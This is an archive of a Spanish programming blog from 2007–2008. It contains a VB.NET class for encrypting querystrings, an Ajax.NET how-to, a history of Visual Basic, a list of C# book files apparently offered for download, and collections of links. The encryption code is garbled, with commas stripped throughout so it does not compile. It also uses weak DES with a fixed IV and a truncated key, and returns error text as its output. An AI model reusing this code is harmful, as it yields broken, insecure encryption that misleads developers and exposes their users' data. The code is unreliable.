Encriptar Querystring

octubre 29, 2008

Despues de casi 6 meses que habia dejado de escribir en mi blog, ahora vuelvo con un articulo que me parecio bastante interesante…
Lo que hace este pequeño codigo es encriptar el querystring de una URL,bueno espero que les sea util este articulo.

Imports System
Imports System.IO
Imports System.Xml
Imports System.Text
Imports System.Security.Cryptography

Public Class Encryption64
Private key() As Byte = {}
Private IV() As Byte = {&H12&H34&H56&H78&H90&HAB&HCD&HEF}

 Public Function Decrypt(ByVal stringToDecrypt As String_
      ByVal sEncryptionKey As StringAs String
      Dim inputByteArray(stringToDecrypt.LengthAs Byte
       Try
      key = System.Text.Encoding.UTF8.GetBytes(Left(sEncryptionKey8))
       Dim des As New DESCryptoServiceProvider()
       inputByteArray = Convert.FromBase64String(stringToDecrypt)
       Dim ms As New MemoryStream()
       Dim cs As New CryptoStream(msdes.CreateDecryptor(keyIV), _
         CryptoStreamMode.Write)
          cs.Write(inputByteArray0inputByteArray.Length)
          cs.FlushFinalBlock()
      Dim encoding As System.Text.Encoding = System.Text.Encoding.UTF8
          Return encoding.GetString(ms.ToArray())
      Catch e As Exception
          Return e.Message
      End Try
   End Function

   Public Function Encrypt(ByVal stringToEncrypt As String_
       ByVal SEncryptionKey As StringAs String
       Try
      key = System.Text.Encoding.UTF8.GetBytes(Left(SEncryptionKey8))
          Dim des As New DESCryptoServiceProvider()
          Dim inputByteArray() As Byte = Encoding.UTF8.GetBytes_
              stringToEncrypt)
          Dim ms As New MemoryStream()
        Dim cs As New CryptoStream(msdes.CreateEncryptor(keyIV), _
              CryptoStreamMode.Write)
          cs.Write(inputByteArray0inputByteArray.Length)
          cs.FlushFinalBlock()
          Return Convert.ToBase64String(ms.ToArray())
      Catch e As Exception
          Return e.Message
      End Try
   End Function

End Class


Implementando AJAX con C# / VB.NET

abril 16, 2008

Navegando encontre este articulo sobre como implementar Ajax con C# o Visual Basic.net, ademas que hace un breve explicacion sobre lo que es Ajax.

AJAX! No hablamos de un equipo de fútbol, ni tampoco de un detergente, ¿entonces? La unión de varias tecnologías para crear una nueva e impresionante experiencia en la web.

Hace un tiempo AJAX parece ser la palabra de moda en el “mundo” del desarrollo de aplicaciones Web; de hecho muchos lo escuchan nombrar pero pocos saben que es realmente y, menos aún, saben en donde buscar información clara sobre que es esta nueva “maravilla” de la tecnología.

¿Qué es?

En realidad, Ajax no existe. Es una óptica, una nueva forma de trabajo que engloba a diferentes tecnologías Web que existen desde hace varios años, como el lenguaje XHTML -sucesor del actual HTML- las hojas de estilo en cascada (CSS) y JavaScript, junto a otros artilugios más técnicos como son XMLHttpRequest o XSLT. De hecho, el propio término es la abreviatura de ‘Asynchronous Javascript + XML’.

La idea es la siguiente: en el modelo actual, la Web es un lugar muy hostil para desarrollar aplicaciones. Cada vez que el usuario ejecuta una acción -un clic, la presión de una tecla, el arrastre de un objeto- el navegador debe solicitar datos a otra computadora (el servidor) a través de Internet, para luego regenerar la página que el usuario está viendo. De esta forma, la interacción se transforma en un pimpón de datos que hacen imposible cualquier actividad continua, como un juego o una aplicación.

Para sortear este inconveniente, varias empresas desarrollaron plataformas que se cargan dentro del navegador, como Macromedia Flash o Java, previa descarga de los plugin respectivos y previo pago de las licencias para el desarrollo. Pero, ¿qué pasaría si tuviéramos estas herramientas ya disponibles en los computadores de cada usuario y en forma nativa?

El modelo de AJAX propone cargar y renderizar una página, luego sirviéndose de las tecnologías antes mencionadas y presentes en la gran mayoría de los navegadores. Mantenerse en esa página, mientras scripts y rutinas van al servidor buscando, en background, los datos que son usados para actualizar la página solo re-renderizando la página y mostrando u ocultando porciones de la misma. De esta forma, los usuarios pueden acceder de inmediato al contenido -como GoogleMaps, Gmail o el Outlook Web Access- sin interrupciones. Sorpresa: el público ya no tiene que esperar.

Google está haciendo una significativa inversión en el acercamiento Ajax. Desde Gmail a Google Maps, esta empresa alberga una docena de proyectos nuevos que han provocado gran entusiasmo en los usuarios.

Ajax y ASP.NET

Obviamente ASP.NET posee mucho soporte para Ajax, además este será mejorado en Whidbey.

Para su implementación, existe una libreria que puede ahorrarte mucho trabajo. Los pasos para utilizarla son los siguientes:

Paso 1 – Agregar una referencia al archivo ajax.dll, que puedes descargas desde http://ajax.schwarz-interactive.de/download/ajax.zip
Paso 2 – Configurar el HttpHandler en el archivo web.config

<configuration>
<system.web>
<httpHandlers>
<add verb=”POST,GET” path=”ajaxwrapper/*.ashx” type=”Ajax.PageHandlerFactory, Ajax” />
</httpHandlers>

<system.web>
</configuration>

Paso 3 – En el pageload del form agregas el llamado a esta función

Ajax.Utility.RegisterTypeForAjax(this.GetType());

Paso 4 – Para hacer llamados asincrónimos al servidor deberá marcar las funciones con el siguiente atributo

[Ajax.JavascriptMethod()]
public int ServerSideAdd(int firstNumber, int secondNumber)
{
return firstNumber + secondNumber;
}

La envoltura creará automáticamente el código javascript con los parámetros y será llamada desde el cliente sin hacer postback
Paso 5 – Puedes llamar estas funciones desde el javascript en el cliente.

alert(ServerSideAdd(100,99));
o
ServerSideAdd(100,99, ServerSideAdd_CallBack);
function ServerSideAdd_CallBack(result){
alert(result);
}

También se pueden retornar objetos complejos.

Ver Ejemplos Online: C#VB.NET

Puedes descargar un guía de uso en http://ajax.schwarz-interactive.de/download/AjaxGuide.doc y un video de demostración en http://ajax.schwarz-interactive.de/download/ajaxvideo.zip (aunque el video tiene algunos errores es muy interesante). Más información en Ajax.NET Blog

Links y fuentes:

- AJAX un nuevo acercamiento a Aplicaciones WebArtículo original en inglés
AJAX: Descubre qué se oculta tras esta vieja-nueva tecnología
AJAX – Wikipedia en español
AJAX – Wikipedia en inglés

En inglés

- Ajaxian.com
Ajax, promise or hype?
Ajax.NET Blog

Fuente: tydw.wordpress.com


Historia de Visual Basic

abril 16, 2008

Navegando encontre un articulo muy interesante que habla sobre la historia de Visual Basic y Visual Basic.Net .

Nadie duda que programar es muy divertido y satisfactorio o como quieran tomarlo: jovial, alucinante, excitante… bla, bla, bla… es así que, actualmente, habemos en todo el mundo miles de programadores que usamos Visual Basic como una gran alternativa para construir aplicaciones robustas y escalables.  Visual Basic es un lenguaje de propósito general: se pueden crear aplicaciones de escritorio, utilitarios, juegos, aplicaciones multimedias, sistemas con manejo de bases de datos, componentes reutilizable, aplicaciones distribuidas y mucho más. Muchos critican esta generalidad, aduciendo que sirve para tantas cosas que, al final, no cumple bien con ninguna… Que equivocados que están y siguen estando por lo que veo, ya que siempre escucho murmurar entre a gente novata diciendo que incluso Visual Basic .NET es muy fácil de usar y que los programadores que usamos esta herramienta somos muy inferiores a los de Java, C++.. je, je, je… ahora digo: Dios mío, perdónalos, porque no saben lo que dicen …!!!.

Les aseguro que mucha gente desarrolladora en Visual Basic no sabe exactamente el por qué Visual Basic se llama Visual Basic(entiendo a lo que me refiero, verdad ??), Bueno, lo de “VISUAL” supongo que la mayoría sabe a que se refiere, y esto es, a que es un lenguaje con un entorno visual, con un entorno gráfico, es decir, un lenguaje que incluye una interfaz de desarrollo gráfico.  La otra parte es BASIC, ¿Qué idea contiene? o  ¿ a qué exactamente nos referimos cuando decimos BASIC o VISUAL BASIC ?. Pues las posibles respuestas vienen y van, unos dirán que es un lenguaje básico (por lo de Basic, que significaría básico), un lenguaje con un entorno de desarrollo básico… y así una serie de respuestas inocentes y a la vez equivocadas. Ahora exhorto: Dios mío castiga a todos los desarrolladores en Visual Basic que no saben que es lo que realmente significa VISUAL  B.A.S.I.C. …!!!. Luego de este castigo, je, je, je, …allí te va la respuesta.

B.A.S.I.C. significa: Beginner’s All-purpose Symbolic Instruction Code, traduciendo esto sería: Código de instrucciones de uso universal para principiantes. Basic es un lenguage de programación que actua como un intermediario entre el operador y el computador. Mediante el vocabulario y las reglas Basic, se le ordena al computador lo que se quiere que haga y el PC transforma estas instrucciones para poder ejecutarlas. Otros lenguajes de programación que pueden emplearse son el Pascal, Fortan y Ensamblador. BASIC es traducido a código binario, también se puede escribir programas en código binario pero es muy dificil por eso crearon el Basic.

BASIC es un lenguaje de programación desarrollado por los estadounidenses John Kemeny y Thomas Kurtz en el Dartmouth College. La versión original del lenguaje Basic fue creada en el año 1964, ganándose una enorme popularidad gracias sobre todo a dos implementaciones, Tiny BASIC y Microsoft BASIC, que convirtieron a este lenguaje en la primera lengua franca de los microordenadores. Otras importantes implementaciones han sido CBASIC (BASIC Compilado), Integer y Applesoft BASIC (para el Apple II), GW-BASIC (para computadoras personales), Turbo BASIC (de Borland) y Microsoft QuickBASIC. El lenguaje ha cambiado en el transcurso de los años pues nació con el objetivo de servir como lenguaje para aquellas personas que deseaban introducirse por primera vez en el mundo de la programación, y luego fue sufriendo modificaciones, hasta que en 1978 se estableció el Basic estándar.

Más adelante, en 1987, llegó una de las versiones más populares del lenguaje: el viejo y querido QuickBasic, una joya de oro de los tiempos del MS-DOS, con la cual muchos se develaron (incluido mi profesor Ismael, je, je,je) más de una noche. Las primeras versiones eran interpretadas y no estructuradas. Las más recientes son estructuradas y, a menudo, compiladas. En esos tiempos, BASIC solía enseñarse a los programadores principiantes porque era “fácil” de utilizar y de comprender, y además porque contiene los mismos conceptos fundamentales que muchos otros lenguajes considerados más “difíciles”, como Pascal, C y COBOL, las cuales a su vez, eran muy populares entre los programadores, mientras que había una especie de desprecio hacia Basic, por tratarse de un lenguaje “para principiantes”.

En contraste, hace poco más de 14 años, el proceso de construir una sencilla aplicación basada en Microsoft Windows solía ser algo complicado, difícil y largo. Hasta aquí, todo eran oscuras pantallas de texto y aplicaciones de consola. Con la llegada de Windows, todo resulto muy diferente. Es así que, construir estas aplicaciones ricas en gráficos no era un proceso trivial antes de la introducción de Visual Basic 1.0 en mayo de 1991.   Las antiguas aplicaciones de MS-DOS mucho distaban ya de las modernas y visuales de Windows, pero, claro, hacer aplicaciones para ese nuevo sistema operativo era un real privilegio, que muy pocos estudiosos de la programación en C podían experimentar.

Ese año, Visual Basic 1.0 vio la luz, y revolucionó el desarrollo de aplicaciones para Windows, especialmente por su facilidad y por la rapidez con la que permite crearlas. Siempre escucho comentar que desde esos tiempos, usando Visual Basic, los programadores podíamos, por primera vez, implementar aplicaciones de Windows en un ambiente intuitivo y gráfico, simplemente arrastrando controles sobre un formulario. Si bien muchas personas hicieron de Visual Basic una realidad, un empelado de Microsoft, llamado Alan Cooper, fue considerado el verdadero padre del lenguaje. Hoy con mas de 14 años del lenguaje en el mercado, Alan es considerado una eminencia.

Inicialmente, Visual Basic fue pensado para ser un producto muy táctico. Microsoft tenía varias iniciativas en el desarrollo que lideraba Visual Basic 1.0, todas fueron pensadas para convertirse en las herramientas de programación a largo plazo, estratégicas, gráficas y orientadas a objetos. Como siempre ocurre con los productos en su versión 1.0, el equipo de Visual Basic 1.0 fue forzado a cortar características de su larga lista de ideas para entregar realmente el producto al mercado. Consecuentemente, la primera versión incluyó poco más que la tecnología Embedded Basic que había sido desarrollada originalmente en Microsoft QuickBasic 4.0 (el código “p” y compilador de Microsoft) y una herramienta compiladora de diseño simple originalmente diseñada para Windows 3.0 pero que nunca fue utilizada para tal fin. Aproximadamente 12 meses después, el desarrollo y mejora de la versión 1.0 comenzó, Microsoft sacó al mercado una herramienta desarrolladora para cubrir la exigencia en ese momento del mercado cuyo nombre en clave fue “Thunder”(Trueno).

Desde este inicio bastante desfavorable vino un resultado igualmente difícil de comprender: un impacto en la industria informática tan profundo que cambió para siempre el curso del desarrollo del software y creó una explosión en el mercado de las aplicaciones de Windows. Diez años más tarde, parece muy obvio-pero en esa época, cuando solamente un pequeño y selecto grupo de personas, era capaz de desarrollar aplicaciones para Windows, Visual Basic 1.0 representó un cambio gigantesco en el diseño de aplicaciones.

Innegablemente radical en su puesta en práctica, implementación y capacidades, Visual Basic 1.0 se propagó a través de la comunidad en cuestión de pocos meses. Poco después del “shock” inicial de fiebre por Visual Basic, un pequeño pero fuerte grupo de seguidores comenzó a transformar las bibliotecas de código que tenían con sus características, métodos y  eventos, y a exponerlos como componentes de Visual Basic llamados VBXs, o los controles personalizados. Después de poco tiempo, la producción de estos componentes reutilizables creció de una comunidad especializada a una industria que crecía de vendedores de controles, y ayudó a Visual Basic a pasar de ser un logro de software a convertirse en un descubrimiento tecnológico.

 

Como veremos más adelante, luego de la primera versión, el lenguaje creció y empezó a volverse muy popular. A partir de la versión 3, ya se incluían herramientas para el acceso a datos y una interfaz grafica más cómoda e intuitiva. Después llego la versión 4, que podia compilar ejecutables tanto de 16 bits como de 32; y, finalmente, el exilio a los 32 bits arribo con las versiones 5 y 6. Actualmente, Visual Basic combina la sencillez de Basic con el poder de un lenguaje de programación visual que permite desarrollar robustas aplicaciones de 32 bits. Visual Basic ya no es solo un lenguaje para los mas novatos, sino que representa una excelente alternativa para programadores de todos los niveles.

Este año, en la celebración del décimo cuarto cumpleaños de Visual Basic, se mira al pasado a la herramienta que revolucionó la manera en la que se construye software, y se anhelan otros 10 años de  innovación y productividad de Visual Basic. Hablando de innovación, pues ahora ya contamos con Microsoft Visual Basic .NET, EL lenguaje siguió evolucionando hasta que, el 13 de febrero de 2002, justo un día antes de San Valentín, nacio oficialmente Visual Basic .NET, junto con el resto de la familia de Visual Studio .NET, esto una muy buena noticia …!!! ¿Simplemente una nueva versión? Para nada. VB.NET no es un simple upgrade; es un cambio realmente profundo y radical, que lo convierte en uno de los lenguajes mas poderosos de la actualidad, con características avanzadas, como verdadera orientación a objetos, multi-threading, y la posibilidad de crear Web Services, por nombrar solo tres aspectos. Todos aquellos que todavía tengan la idea (equivocada) de que Visual Basic es un lenguaje para principiantes, finalmente tendrán que callar y agachar sus cabezas. Obviamente no es un cambio que se produjo de la noche a la mañana. La plataforma .NET, base de este nuevo lenguaje, se viene gestando en Microsoft desde hace ya un par de años, y forma parte de una nueva estrategia impulsada por esta empresa para conquistar el mercado del desarrollo y de internet, y seguir creciendo. En los últimos 14 años, la comunidad de Visual Basic ha crecido hasta ser la mayor comunidad de desarrolladores de software del mundo. Durante ese tiempo, una industria entera de vendedores de componentes creció alrededor de este producto. Éste, combinado con la sencilla forma de desarrollar aplicaciones para Windows, fueron la base fundamental de la realización de la visión de Microsoft para la programación basada en Windows.

Cuando aún no había pasado un año de su salida inicial al mercado ,Visual Basic ya había evolucionado rápidamente a un kit desarrollador altamente estratégico. Microsoft había comenzado a utilizar Visual Basic internamente en algunos de sus propios proyectos que estaba desarrollando. A medida que la demanda de Visual Basic aumentaba, quedaba claro que los desarrolladores requerirían un  Visual Basic mejor y más capacitado. Para tratar a esta necesidad creciente, Microsoft anunció la disponibilidad de Visual Basic 2.0 en noviembre de 1992. La segunda versión de Visual Basic, distribuida en la edición estándar y profesional, proveía a los desarrolladores un funcionamiento perceptiblemente mejorado y mayor capacidad para crear aplicaciones de tamaño mayor y más sofisticadas. Incluía también una ayuda para mejorar la puesta a punto y depuración, proveía de la capacidad de conectarse a bases de datos mediante ODBC, y nuevas y productivas herramientas ,por ejemplo,  la ventana de propiedades, sintaxis del código en color , y completo soporte para un Interfaz de Múltiples Documentos (MDI).

Cuadro 2. El cuadro de propiedades y la caja de herramientas (con controles añadidos) de Visual Basic 2.0.

Aplicaciones Data-Aware

Mientras la adopción de Visual Basic en las corporaciones se expandía, también lo hacía la necesidad de una herramienta para el desarrollador que permitiera aplicaciones data-aware robustas. Visual Basic 3.0, anunciado solamente seis meses después de la salida al mercado de la versión 2.0, solucionaba esta necesidad combinando el motor de la base de datos de Microsoft Access 1.1 con un conjunto rico de controles data-aware. Por primera vez, los desarrolladores podían conectar fácilmente a las bases de datos en un ambiente cliente/servidor usando un diseñador visual intuitivo. La complementación de estas características era los Data Access Object (Objetos de Acceso a Datos) (DAO), un completo paquete de los objetos que proporcionaban al acceso mediante código a la base de datos. Finalmente, Visual Basic 3.0 amplió la capacidad de la herramienta de desarrollo incluyendo los Crystal Reports, un motor para visualizar datos extraídos en una variedad de formatos personalizables.

Herramientas más potentes

En los años venideros, la industria informática comenzaría a abrazar el movimiento a la programación en 32-bits. La salida al mercado de Microsoft Windows 95 y de Microsoft Windows NT condujeron a esta adopción y destacó la necesidad de herramientas de desarrollo más potentes que podrían soportar la nueva arquitectura. Fue entonces cuando la revista Windows Watcher  señaló que Visual Basic estaba adoptado por más compañías (30 por ciento) que cualquier otro lenguaje de programación. Llevar una base instalada tan grande del desarrollo de aplicaciones en 16-bits a 32-bits sería una tarea de migración importante, pero aseguraría la existencia prolongada del lenguaje de programación Visual Basic y de su comunidad. La versión 32-bit de Visual Basic- versión 4.0-fue anunciada en septiembre de 1995 e incluía la edición estándar y profesional así como una nueva edición destinada al nivel empresarial y el desarrollo en equipo. La edición empresarial ofrecía nuevas capacidades tales como automatización remota, control de datos remoto, y una versión integrada de Microsoft Visual SourceSafe para la dirección de la configuración y realización de diferentes versiones.

Cuadro 3. Visual Basic 4.0 con soporte 32-bit

Las versiones de Visual Basic 5.0 y 6.0-anunciadas en marzo de 1997 y en junio de 1998, respectivamente- representaron un paso importante hacia posibilitar a los desarrolladores en Visual Basic programar en los nuevos niveles del funcionamiento en el ambiente libre que representa Internet. Las características tales como el compilador del código nativo introdujeron aumentos del funcionamiento de hasta el 2.000 por ciento. El Webclass designer (diseñador de clases Web) simplificó la creación de las aplicaciones del Web proporcionando un modelo intuitivo del objeto para el servidor web. Y el diseñador de páginas DHTML permitió la creación de aplicaciones  para Microsoft Internet Explorer 4.0- que combinaron la riqueza de HTML dinámico (DHTML) con el funcionamiento y la productividad de Visual Basic. Finalmente, con la Control Creation Edition (Edición de Creación de Controles), los desarrolladores de Visual Basic podrían construir fácilmente los controles Microsoft ActiveX de alto rendimiento y con un amplio alcance que estaban destinados a Internet.

Cuadro 4. Visual Basic 5.0

 

Visual Basic .NET

Hoy, se continúa ampliando las posibilidades del desarrollador en Visual Basic. Con Visual Basic .NET, se posibilita a los desarrolladores en Visual Basic con niveles de control y productividad sin precedentes. A través de objetos-orientados de primera-clase, tales como herencia, manejo estructural excepcional, y construcciones con parámetros, programar en Visual Basic llegará a ser más elegante, simple, y de mantenimiento sencillo. Con el acceso completo al marco del NET de Microsoft, los desarrolladores pueden, por primera vez, conseguir ventaja directa de la rica plataforma de Microsoft y construir aplicaciones tradicionales basadas en Windows, aplicaciones Web de pequeños clientes, los servicios de nueva generación de Web de XML, y software para móviles.

Cuadro 5. La demo de El Gorila .NET , escrito en Visual Basic .NET.

Los Formularios de Windows con formas, los ricos gráficos, las construcciones orientadas al objeto, y la integración del servicio Web de XML son todo la parte de Visual Basic .NET. A través de los años, Visual Basic ha evolucionado de un juguete de un aficionado a una herramienta imprescindible que continúa cambiando el mundo. Ha revolucionado la manera que se trabaja con la información, la manera de comunicarse, y la forma en la que se construyen aplicaciones.

Visual Basic .NET es la nueva generación del lenguaje Visual Basic de Microsoft. Con Visual Basic puede generar aplicaciones .NET, incluyendo servicios Web y aplicaciones Web de ASP.NET, rápida y fácilmente. Las aplicaciones construidas con Visual Basic se generan con los servicios de Common Language Runtime y se benefician de .NET Framework.

Visual Basic tiene una gran cantidad de características nuevas y mejoradas como la herencia, las interfaces y la sobrecarga que la convierten en un lenguaje eficaz de programación orientado a objetos. Otras características nuevas del lenguaje son el subprocesamiento libre y el control de excepciones estructurado. Visual Basic integra .NET Framework y Common Language Runtime completamente, que conjuntamente proporcionan interoperabilidad del lenguaje, recolección de elementos no utilizados, seguridad ampliada y compatibilidad de versiones mejorada.

Visual Basic admite herencia única y crea lenguaje intermedio de Microsoft (MSIL) como entrada de compiladores de código nativo. Visual Basic es, comparativamente, fácil de aprender y utilizar, y se ha convertido en el lenguaje de programación elegido por cientos de programadores durante la pasada década. El conocimiento de Visual Basic se puede aprovechar de distintas maneras, por ejemplo, escribiendo macros en Visual Studio o programando en aplicaciones como Microsoft Excel, Access y Word. Visual Basic proporciona prototipos de algunos de los tipos de proyectos más comunes, incluyendo: Aplicación para Windows, Biblioteca de clases, Biblioteca de control de Windows, Aplicación Web ASP.NET, Servicio Web ASP.NET, Biblioteca de control Web, Aplicación de consola, Servicio de Windows.

Con todos los cambios en la configuración de la tecnología y de la aplicación en los últimos 14 años, la comunidad de Visual Basic ha continuado innovando como líderes en el desarrollo y la producción de software. Mientras, es interesante mirar al pasado y observar los éxitos alcanzados por este producto, es importante remarcar que Visual Basic está sólo en una fase bastante inicial. Con Visual Basic .NET, Microsoft proporciona sus cimientos para asegurarse de que los desarrolladores en Visual Basic continúan conduciendo esta cursa -ahora y en el futuro.

Las versiones anteriores de Visual Basic estaban orientadas a aplicaciones cliente de Microsoft Windows. Visual Basic .NET está pensado para crear además aplicaciones de servicio Web XML. Para este propósito, Visual Basic .NET genera código administrado para Common Language Runtime. Esto supone cambios en el propio lenguaje. Los cambios en Visual Basic .NET están proyectados para:

  • Simplificar el lenguaje y hacerlo más coherente.
  • Agregar nuevas características solicitadas por usuarios.
  • Hacer el código más sencillo de leer y mantener.
  • Ayudar a los programadores a evitar los errores de programación.
  • Crear aplicaciones más sólidas y más sencillas de depurar.

    Visual Basic .NET ofrece numerosas características nuevas y mejoradas, como herencia, interfaces y sobrecarga, que lo convierten en un eficaz lenguaje de programación orientado a objetos. Como desarrollador de Visual Basic, ahora puede crear aplicaciones multiproceso y escalables utilizando subprocesamiento múltiple explícito. Otra característica nueva de Visual Basic .NET incluye el control estructurado de excepciones, atributos personalizados y compatibilidad con CLS (Common Language Specification, Especificación de lenguajes comunes).

    CLS es un conjunto de reglas que estandariza cosas como tipos de datos y el modo en que se exponen e interoperan los objetos. Visual Basic .NET agrega varias características que aprovechan las ventajas de CLS. Cualquier lenguaje compatible con CLS puede utilizar las clases, los objetos y los componentes que se crean en Visual Basic .NET. Y usted, como usuario de Visual Basic, puede tener acceso a las clases, los componentes y los objetos desde otros lenguajes de programación compatibles con CLS sin tener en cuenta diferencias específicas del lenguaje como los tipos de datos. Las características de CLS que utilizan los programas de Visual Basic .NET son los ensamblados, espacios de nombres y atributos. Visual Basic .NET ofrece numerosas características de lenguaje orientado a objetos nuevas o mejoradas como la herencia, la sobrecarga, la palabra clave Overrides, interfaces, miembros compartidos y constructores.

    También se incluyen el control estructurado de excepciones, delegados y varios tipos de datos nuevos.


  • Introducción a Visual C# Express Edition 2008!!!

    diciembre 12, 2007

    Les comparto este video de Microsoft, en donde nos introduce a lo que es Visual C# Express Edition 2008.

    Estos son los puntos del video.

    • Setup e Instalación.
    • Creación de un proyecto
    • El diseñador de Windows
    • Escribir codigo c#
    • Compilando, ejecutando y guardando proyectos 
    • Errores y debugging
    • Propiedades, archivos de proyecto 
    • Informacion
    • Demos

    Duracion: 37 minutes

    URL: Video: Introduction to Visual C# 2008 Express Edition

    Fuente: mredison.files.wordpress.com


    Libros de C Sharp “C#”

    octubre 30, 2007

    Navegando encontre varios links para descargar libros sobre C#, espero que les pueda servir.

    ProgrammingDotNETC SharpAddison Wesley – Windows Forms 2.0 Programming, 2nd Edition.chm
    ProgrammingDotNETC SharpAPress – Beginning C Sharp Objects, From Concepts To Code.chm
    ProgrammingDotNETC SharpAPress – C Sharp Class Design Handbook, Coding Effective Classes.chm
    ProgrammingDotNETC SharpAPress – C Sharp Threading Handbook.chm
    ProgrammingDotNETC SharpAPress – Pro C# 2005 and the .NET 2.0 Platform.pdf
    ProgrammingDotNETC SharpBlueVision Publishing – Developing .NET Custom Controls and Designers Using C#.pdf
    ProgrammingDotNETC SharpC# Language Specification.pdf
    ProgrammingDotNETC SharpHungry Minds – C# COM+ Programming.pdf
    ProgrammingDotNETC SharpHungry Minds – C#, Your Visual Blueprint For Building .NET Applications Code.rar
    ProgrammingDotNETC SharpHungry Minds – C#, Your Visual Blueprint For Building .NET Applications.pdf
    ProgrammingDotNETC SharpMcGraw-Hill – Visual C Sharp 2005 Demystified.chm
    ProgrammingDotNETC SharpMicrosoft Press – Build a Program Now! Microsoft Visual C# 2005 Express Edition.pdf
    ProgrammingDotNETC SharpMicrosoft Press – Visual C Sharp 2005 Step by Step.chm
    ProgrammingDotNETC SharpMIT Press – C# Precisely.pdf
    ProgrammingDotNETC SharpMorgan Kaufmann – C# 2.0 Practical Guide For Programmers.pdf
    ProgrammingDotNETC SharpO’Reilly – Visual C Sharp 2005, A Developers Notebook.chm
    ProgrammingDotNETC SharpPackt Publishing – GDI+ Custom Controls with Visual C# 2005.pdf
    ProgrammingDotNETC SharpPremier Press – C# Professional Projects.pdf
    ProgrammingDotNETC SharpPrentice Hall – Application Development Using C Sharp And .NET.chm
    ProgrammingDotNETC SharpPrentice Hall – Core C Sharp and .NET.chm
    ProgrammingDotNETC SharpSyngress – C# for Java Programmers.pdf
    ProgrammingDotNETC SharpThomson – Microsoft Visual C Sharp 2005 Express Edition Programming For The Absolute Beginner.chm

    Fuente: solucionariosylibros.wordpress.com


    Referencias sobre Ajax y tecnologias Asociadas

    septiembre 22, 2007

    Sitios sobre AJAX

    http://ajaxian.com/
    http://www.ajaxlines.com
    http://www.ajaxtutorial.net/
    http://www.ajaxprojects.com/
    http://www.ajaxresources.com/
    http://blog.joshuaeichorn.com/ajax-resources/
    http://ajax.solutoire.com/

    http://www.deitel.com/ajax/AJAX_resourcecenter.html
    http://www.oracle.com/technology/tech/java/ajax.html
    http://developers.sun.com/ajax/

    Tecnologías asociadas a AJAX

    JSON
    http://www.json.org/
    Standard ECMA JavaScript
    http://www.ecma-international.org/publications/files/
    ecma-st/ECMA-262.pdf

    The XMLHttpRequest Object
    http://www.w3.org/TR/XMLHttpRequest/
    http://www.fiftyfoureleven.com/resources/programming
    /xmlhttprequest/

    http://www.fiftyfoureleven.com/resources/programming
    /xmlhttprequest/examples

    Librerías JavaScript

    Software, artículos y ejemplos, comentados en la charla:

    Prototype
    http://www.prototypejs.org/
    http://www.sergiopereira.com/articles/prototype.js.html
    http://www.prototypejs.org/learn/introduction-to-ajax

    Scriptaculous
    http://script.aculo.us/
    http://swik.net/scriptacolous
    http://24ways.org/2005/introduction-to-scriptaculous-effects
    http://24ways.org/examples/introduction-to-scriptaculous-effects/
    http://demo.script.aculo.us/shop
    http://wiki.script.aculo.us/scriptaculous/show/Ajax.Autocompleter

    OpenRico
    http://www.openrico.org/

    AdobeSpry
    http://labs.adobe.com/technologies/spry/

    Yahoo User Interface Library
    http://developer.yahoo.com/yui/
    http://developer.yahoo.com/yui/download/
    http://yuiblog.com/

    Librerías para PHP

    Sajax
    http://www.modernmethod.com/sajax/
    http://blog.joshuaeichorn.com/archives/2005/04/19/ajax-hello-world-with-sajax/

    Xajax
    http://www.xajaxproject.org/
    http://wiki.xajaxproject.org/Tutorials:Learn_xajax_in_10_Minutes
    http://wiki.xajaxproject.org/Tutorials:Processing_Forms_with_xajax
    http://www.xajaxproject.org/examples/thewall/thewall.php
    http://www.cyberdyne.org/~icebrkr/2007/05/03/xajax-php-live-
    datagrid-gridview/

    http://www.cyberdyne.org/~icebrkr/files/xajax-Livedatagrid.tar.gz
    Ejemplo en
    http://dev.chkbox.com/gridview.php

    Pajax
    http://www.auberger.com/pajax/

    Librerías para Java

    Google Web Toolkit
    http://code.google.com/webtoolkit/
    http://code.google.com/webtoolkit/gettingstarted.html
    http://google-web-toolkit.googlecode.com/files/
    gwt-windows-1.3.3.zip

    http://code.google.com/webtoolkit/documentation/examples/
    AjaxTags
    http://ajaxtags.sourceforge.net/

    AjaxTags – AjaxTags Usage
    http://ajaxtags.sourceforge.net/usage.html
    AjaxTags – AjaxTags Quick Start
    http://ajaxtags.sourceforge.net/quickstart.html

    ExtJs
    http://extjs.com/deploy/ext/examples/grid/xml
    -grid.html

    Dynamic Faces
    http://java.sun.com/developer/technicalArticles
    /J2EE/ajax_jsf/

    BackBase
    http://www.backbase.com

    Librerías para .NET

    ASP.NET Ajax (versión de Microsoft para Net 2.x)
    http://ajax.asp.net/

    Ajax.NET
    http://ajax.schwarz-interactive.de/CSharpSample/
    MagicAjax
    http://www.magicajax.net/

    Algunas implementaciones de chat en Ajax:

    http://socket7.net/lace/
    http://www.ajaxprojects.com/ajax/tutorialdetails
    .php?itemid=9

    http://www.ajaxchat.org/
    http://www.plasticshore.com/projects/chat/index.html
    http://www.phpfreechat.net/
    http://www.dynamicajax.com/fr/AJAX_Driven_Web
    _Chat-271_290_291.html

    Algunos sitios con AJAX:

    http://www.egosurft.org
    http://www.humanized.com/reader/

    Silverlight:

    http://silverlight.net/
    http://tirania.org/blog/archive/2007/May-01.html
    http://www.hanselman.com/blog/PuttingMixSilver
    lightTheCoreCLRAndTheDLRIntoContext.aspx

    http://download.microsoft.com/download/f/2/e/
    f2ecc2ad-c498-4538-8a2c-15eb157c00a7/SL_
    Map_FinalNET.png

    http://blogs.msdn.com/tims/archive/2007/04
    /30/silverlight-screencasts.aspx

    Moonlight – Mono
    http://del.icio.us/ajlopez/silverlight


    Descarga libros de programación… Gratis!

    septiembre 6, 2007

    Navegando encontre un post en el cual habia varios enlaces para descargar libros de programacion totalmente gratis.

    En la pagina puedes encontrar libros de  Java, C, C++, C#, Cobol, Delphi, Java, PHP, Perl, Python, SQL, etc. 

    En Ubuntu Forms han publicado una lista de enlaces donde puedes descargar libros y tutoriales de manera gratuita y enlaces a sitios donde encontrarás más libros para descargar, aprobechalos!.

    Aqui les dejo una lista de sitios donde encontrarán libros y les recomiendo que visiten Ubuntu Forms para que vean la lista completa de enlaces que tienen.

    Libros: http://www.computer-books.us/
    Libros: http://www.mindview.net/
    Libros: http://www.freetechbooks.com/
    Tutoriales: http://www.w3schools.com/
    Tutoriales: http://www.tizag.com/
    Tutoriales: http://en.wikiversity.org/wiki/Topic…er_programming


    Visual Studio 2008 Beta 2

    agosto 9, 2007

    aa700831vs08_ven-usmsdn10.png

    Dale una mirada a Visual Studio 2008 Beta 2

